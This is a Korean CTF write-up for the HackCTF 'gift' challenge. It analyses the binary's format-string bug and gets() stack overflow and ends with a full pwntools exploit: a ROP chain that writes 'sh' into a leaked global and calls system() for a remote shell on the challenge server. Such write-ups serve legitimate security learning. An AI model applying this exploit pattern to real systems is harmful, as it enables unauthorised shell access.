HackCTF gift Write-Up
Program Analyze
프로그램을 실행할 경우 두 개의 주소를 출력해주며 총 두 번의 입력을 받습니다. 이 중 첫 번째 입력의 경우 다시금 출력해주고 두 번째 입력은 별도의 출력 없이 실행이 종료됩니다.
root@e60a28c09eb6:~/hackctf/gift# ./gift
Hey guyssssssssss here you are: 0x8049940 0xf7db49e0
Test
Test
Test222
ghidra를 사용하여 decompile 결과를 확인한 결과 출력되는 주소는 각각 binsh, system() 주소였습니다.
undefined4 main(void)
{
char local_88 [128];
alarm(0x3c);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
printf("Hey guyssssssssss here you are: %p %p\n",binsh,system);
fgets(local_88,0x80,stdin);
printf(local_88);
gets(local_88);
return 0;
또한 첫 번째 입력의 경우 입력 크기에 제한이 존재하여 ret 주소의 변조가 불가능하지만, 두 번째 입력은 변조가 가능함을 확인할 수 있었습니다. 이를 토대로 테스트를 진행한 결과 두 번째 입력에서 Segmentation fault가 발생함을 확인하였습니다.
Searching Vunlerability
'ret 주소가 변조 가능하며', 'system 함수의 주소를 알고 있고', 'binsh 주소를 출력' 해주기 때문에 이를 통해 RTL 공격을 시도하고자 하였습니다.
그러나 shell 획득이 실패하였고 debugging 하던 중 한 가지 놓친 점이 있던 것을 확인하였습니다. 프로그램에서 출력해주는 binsh 항목이 "/bin/sh" 문자열의 주소가 아닌 uninitialized global varaible을 출력해주고 있는 것이었습니다.
따라서 ROP chain을 작성하여 해당 주소에 "sh" 혹은 "/bin/sh" 와 같이 shell을 획득하기 위한 문자열을 입력해줄 필요가 있었습니다. 최종 exploit code는 아래와 같습니다.
Exploit
#!/usr/bin/python3
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3018)
e = ELF("./gift")
#context.log_level = 'debug'
p.recvuntil(": ")
binsh = int(p.recvuntil(" ").decode('utf-8').strip(" "), 16)
system = int(p.recvuntil("\n").decode('utf-8').strip("\n"), 16)
padding = b"A"*0x88
p1r = 0x80483ad
gets = e.symbols['gets']
chain = p32(gets)
chain += p32(p1r)
chain += p32(binsh)
chain += p32(system)
chain += b"FFFF"
chain += p32(binsh)
payload = padding
payload += chain
p.sendline("Hellooo")
p.sendlineafter("\n", payload)
p.sendline("sh")
log.info("/bin/sh: " + hex(binsh))
log.info("system: " + hex(system))
p.interactive()
Author And Source
이 문제에 관하여(HackCTF gift Write-Up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://velog.io/@insp3ct0r_/HackCTF-gift-Write-Up저자 귀속: 원작자 정보가 원작자 URL에 포함되어 있으며 저작권은 원작자 소유입니다.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)